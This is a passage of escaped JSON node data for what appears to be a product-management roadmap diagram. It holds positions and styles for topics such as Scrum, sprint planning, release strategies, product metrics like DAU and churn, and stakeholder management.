535.8808752158961,\n        \"y\": 3163.322416884947\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2r-NPGcROFmw-pd4rvsAJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 900.1156736983723,\n        \"y\": 3161.135217903116\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Working with Engineering Teams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zCYM4D6DWfxhb0FNjT2Ly\"\n      },\n      \"zIndex\": 999,\n      \"width\": 313,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 900.1156736983723,\n        \"y\": 3161.135217903116\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 313,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WNCVmFrpHW7rMaIzlLaXl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 535.8808752158961,\n        \"y\": 3020.621546837995\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scrum Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kJ2HQFEsnc5yISU8d9Lla\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 535.8808752158961,\n        \"y\": 3020.621546837995\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kJ2HQFEsnc5yISU8d9Lla\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 535.8808752158961,\n        \"y\": 3075.8710730345524\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Kanban Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v3hKowLMBVq9eCXkUhrDZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 535.8808752158961,\n        \"y\": 3075.8710730345524\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bu-xm-L1XJgIPAFs2PieE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 912.6156736983723,\n        \"y\": 3219.8997324497136\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sprint Planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mm5yvAaROsbwDgQUfnqyl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 912.6156736983723,\n        \"y\": 3219.8997324497136\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BzgGJbXIwQb0yR2ZMCmul\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 912.6156736983723,\n        \"y\": 3273.8997324497136\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Daily Standups\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mm5yvAaROsbwDgQUfnqyl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 912.6156736983723,\n        \"y\": 3273.8997324497136\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AkKl7PrIPrIqXnss88v18\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 912.6156736983723,\n        \"y\": 3327.8997324497136\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Retrospectives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mm5yvAaROsbwDgQUfnqyl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 912.6156736983723,\n        \"y\": 3327.8997324497136\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mm5yvAaROsbwDgQUfnqyl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 912.6156736983723,\n        \"y\": 3381.8997324497136\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Minimum Viable Product (MVP)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1j2ZSo7UGnBgoLpYzsA5t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 912.6156736983723,\n        \"y\": 3381.8997324497136\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y5p9Vi4tGPw4aDEJy8xXM\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 900.1156736983723,\n        \"y\": 2912.5250001583418\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"i288W9vF02QOKgPxjDqQh\"\n      },\n      \"zIndex\": -999,\n      \"width\": 313,\n      \"height\": 197,\n      \"style\": {\n        \"width\": 313,\n        \"height\": 197\n      },\n      \"positionAbsolute\": {\n        \"x\": 900.1156736983723,\n        \"y\": 2912.5250001583418\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 197\n      }\n    },\n    {\n      \"id\": \"53XS2zKdK6IDdOP07yiT7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 900.1156736983723,\n        \"y\": 2880.319916952834\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Go-to-Market Strategy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2r-NPGcROFmw-pd4rvsAJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 313,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 900.1156736983723,\n        \"y\": 2880.319916952834\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 313,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PbhuFKsVNO6xGJHqXCwFl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 912.6156736983723,\n        \"y\": 2939.0844314994315\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Launch Planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bu-xm-L1XJgIPAFs2PieE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 912.6156736983723,\n        \"y\": 2939.0844314994315\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YYo_7lmTw7h74Y4J5pp-_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 912.6156736983723,\n        \"y\": 2993.0844314994315\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Marketing Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BzgGJbXIwQb0yR2ZMCmul\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 912.6156736983723,\n        \"y\": 2993.0844314994315\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wWWcIfPDGB92ed-1kV-uj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 912.6156736983723,\n        \"y\": 3047.0844314994315\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Growth Hacking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AkKl7PrIPrIqXnss88v18\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 912.6156736983723,\n        \"y\": 3047.0844314994315\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JrcZ404QjGsPn-VW1ktrh\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 900.1156736983723,\n        \"y\": 2641.778830620622\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Y5p9Vi4tGPw4aDEJy8xXM\"\n      },\n      \"zIndex\": -999,\n      \"width\": 313,\n      \"height\": 197,\n      \"style\": {\n        \"width\": 313,\n        \"height\": 197\n      },\n      \"positionAbsolute\": {\n        \"x\": 900.1156736983723,\n        \"y\": 2641.778830620622\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 197\n      }\n    },\n    {\n      \"id\": \"VqNK1rNAnr_yvi_a0YZEs\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 900.1156736983723,\n        \"y\": 2609.573747415114\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Release Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"53XS2zKdK6IDdOP07yiT7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 313,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 900.1156736983723,\n        \"y\": 2609.573747415114\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 313,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7BCnM9A9PwYqsLmcNVfvt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 912.6156736983723,\n        \"y\": 2668.338261961712\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Feature Toggles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PbhuFKsVNO6xGJHqXCwFl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 912.6156736983723,\n        \"y\": 2668.338261961712\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8_VCWpSZkRWmsD1_thMYS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 912.6156736983723,\n        \"y\": 2722.338261961712\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Phased Rollouts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YYo_7lmTw7h74Y4J5pp-_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 912.6156736983723,\n        \"y\": 2722.338261961712\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aCoVHIAZllwKckkkwExR7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 912.6156736983723,\n        \"y\": 2776.338261961712\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dark Launches\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wWWcIfPDGB92ed-1kV-uj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 912.6156736983723,\n        \"y\": 2776.338261961712\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h10DphS6mi7ZwbyHppPsb\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 633.0510680012198,\n        \"y\": 3284.840301108624\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product Metrics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"hLy9kA3yEyDQ32XTq6I8b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 633.0510680012198,\n        \"y\": 3284.840301108624\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"RfllpwFxWBeHF29oUwGo_\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 589.0510680012198,\n        \"y\": 3449.935079738451\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Key Product Metrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kirIe5QsxruRUbWGfQtbD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 51,\n      \"positionAbsolute\": {\n        \"x\": 589.0510680012198,\n        \"y\": 3449.935079738451\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 275,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 275,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"g2EgVtqwQxLfjBjomUqcU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3288.935079738451\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DAU (Daily Active Users)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1uXjKKvOKqpO50m1pM627\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3288.935079738451\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Sbi5Y72nU_B1Jk6xNp17u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3342.935079738451\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MAU (Monthly Active Users)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ws7IFrHQNoBjLE2Td2xIZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3342.935079738451\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"avkgeNNVQOCE7dvEKFVZv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3396.935079738451\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Conversion Rate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sQvkXvluZHgTIGS7W3Fj4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3396.935079738451\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mfG1UheUwzO8dbS4oglgo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3450.935079738451\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Retention Rate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sQvkXvluZHgTIGS7W3Fj4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3450.935079738451\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jRWVaNpTfBXVjpi4WNT7H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3504.935079738451\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Churn Rate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sQvkXvluZHgTIGS7W3Fj4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3504.935079738451\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DB-dN0bfG29Xv_a8iV8Yg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3558.935079738451\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LTV (Lifetime Value)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sQvkXvluZHgTIGS7W3Fj4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3558.935079738451\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kVd36zDyjLvVG2Nw9gsXi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3612.935079738451\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CAC (Customer Acquisition Cost)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sQvkXvluZHgTIGS7W3Fj4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3612.935079738451\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MYKZIDHSIXr-69BdtFcNR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3666.935079738451\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"North Star Metric\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sQvkXvluZHgTIGS7W3Fj4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 140.35637591632076,\n        \"y\": 3666.935079738451\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eO7glnL0HixQYnoF3uvSW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 590.5510680012198,\n        \"y\": 3555.3041842208895\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data-Driven Decision Making\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kirIe5QsxruRUbWGfQtbD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 590.5510680012198,\n        \"y\": 3555.3041842208895\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"V3yGVN7z_ihLkScO0_92_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 979.3947749668702,\n        \"y\": 3500.6292317423076\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"A/B Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"g2EgVtqwQxLfjBjomUqcU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 979.3947749668702,\n        \"y\": 3500.6292317423076\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"APdoU9kzHEqpUgKGKfyp9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 979.3947749668702,\n        \"y\": 3555.6292317423076\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cohort Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Sbi5Y72nU_B1Jk6xNp17u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 979.3947749668702,\n        \"y\": 3555.6292317423076\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YsDt5I0prvYeaFfn4_lpx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 979.3947749668702,\n        \"y\": 3609.6292317423076\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Predictive Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"avkgeNNVQOCE7dvEKFVZv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 979.3947749668702,\n        \"y\": 3609.6292317423076\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kirIe5QsxruRUbWGfQtbD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 590.5510680012198,\n        \"y\": 3666.935079738451\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Feedback Loops\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sAu4Gr1hg8S4jAV0bOSdY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 590.5510680012198,\n        \"y\": 3666.935079738451\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q-D_wIIv24wQyX1wqYi2R\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 585.0510680012198,\n        \"y\": 3776.5172575257884\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stakeholder Management\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"h10DphS6mi7ZwbyHppPsb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 585.0510680012198,\n        \"y\": 3776.5172575257884\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"5-4MXlRjH-4PlF2giZpVL\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 